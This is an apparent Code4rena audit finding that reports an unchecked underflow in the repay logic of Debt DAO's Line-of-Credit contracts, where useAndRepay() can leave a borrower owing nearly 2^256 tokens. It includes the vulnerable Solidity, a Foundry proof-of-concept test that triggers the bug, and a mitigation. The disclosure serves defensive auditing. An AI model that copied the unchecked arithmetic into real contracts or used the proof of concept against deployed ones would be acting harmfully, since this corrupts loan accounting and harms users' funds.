When borrower repays, it can overflow and make them owe 2^256 tokens to lender.

[code423n4]

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/SpigotedLine.sol#L146

Vulnerability details

Description

CreditLib's repay() function is the actual accounting of repayments in a LineOfCredit:

function repay(
  ILineOfCredit.Credit memory credit,
  bytes32 id,
  uint256 amount
)
  external
  returns (ILineOfCredit.Credit memory)
{ unchecked {
    if (amount <= credit.interestAccrued) {
        credit.interestAccrued -= amount;
        credit.interestRepaid += amount;
        emit RepayInterest(id, amount);
        return credit;
    } else {
        uint256 interest = credit.interestAccrued;
        uint256 principalPayment = amount - interest;
        // update individual credit line denominated in token
        credit.principal -= principalPayment;
        credit.interestRepaid += interest;
        credit.interestAccrued = 0;
        emit RepayInterest(id, interest);
        emit RepayPrincipal(id, principalPayment);
        return credit;
    }
} }

Note that the entire function has no overflow protection. It is assumed that the caller of repay() will perform the necessary validation:

require(amount <= credit.principal + credit.interestAccrued);

If this is not the case, the following line will overflow:

  credit.principal -= principalPayment;

Unfortunately, there is one instance where amount is not checked, in useAndRepay():

/// see ISpigotedLine.useAndRepay
function useAndRepay(uint256 amount) external whileBorrowing returns(bool) {
  bytes32 id = ids[0];
  Credit memory credit = credits[id];
  if (msg.sender != borrower && msg.sender != credit.lender) {
    revert CallerAccessDenied();
  }
  require(amount <= unusedTokens[credit.token]);
  unusedTokens[credit.token] -= amount;
  credits[id] = _repay(_accrue(credit, id), id, amount);
  emit RevenuePayment(credit.token, amount);
  return true;
}

When borrower tries to repay using unusedTokens, if they request a repay amount smaller than the unusedTokens total, but larger than the maximum they owe to lender, it will overflow the principal field. At this point, borrower will owe close to 2^256 tokens to lender.

Note that it is very easy for user to enter a larger amount than currently owed, as interest is ever accruing and they may estimate it to grow faster than it did in practice until the block is executed.

Impact

When borrower repays, it can overflow and make them owe 2^256 tokens to lender.

Proof of Concept

Copy the following code to SpigotedLine.t.sol:

function test_lender_can_use_and_repay_overflow() public {
  deal(address(lender), lentAmount + 1 ether);
  deal(address(revenueToken), MAX_REVENUE);
  address revenueC = address(0xbeef); // need new spigot for testing
  bytes32 id = _createCredit(address(revenueToken), Denominations.ETH, revenueC);
  _borrow(id, lentAmount);
  bytes memory tradeData = abi.encodeWithSignature(
    'trade(address,address,uint256,uint256)',
    address(revenueToken),
    Denominations.ETH,
    2 gwei,
    lentAmount + 1 ether
  );
  uint256 new_tokens;
  hoax(borrower);
  new_tokens = line.claimAndTrade(address(revenueToken), tradeData);
  console.log(new_tokens);
  vm.prank(lender); // prank lender
  line.useAndRepay(lentAmount + 1 ether);
  (, uint256 principal,,,,,) = line.credits(line.ids(0));
  console.log("Principal is", principal);
  //assertEq(principal, 0);
}

Tools Used

Manual audit

Recommended Mitigation Steps

It is recommended to check for overflow in repay() function, as there is always a risk of introducing threats when adding more calls to repay().

[c4-judge]

dmvt marked the issue as duplicate of #82

[c4-judge]

dmvt marked the issue as satisfactory

[C4-Staff]

liveactionllama marked the issue as duplicate of #461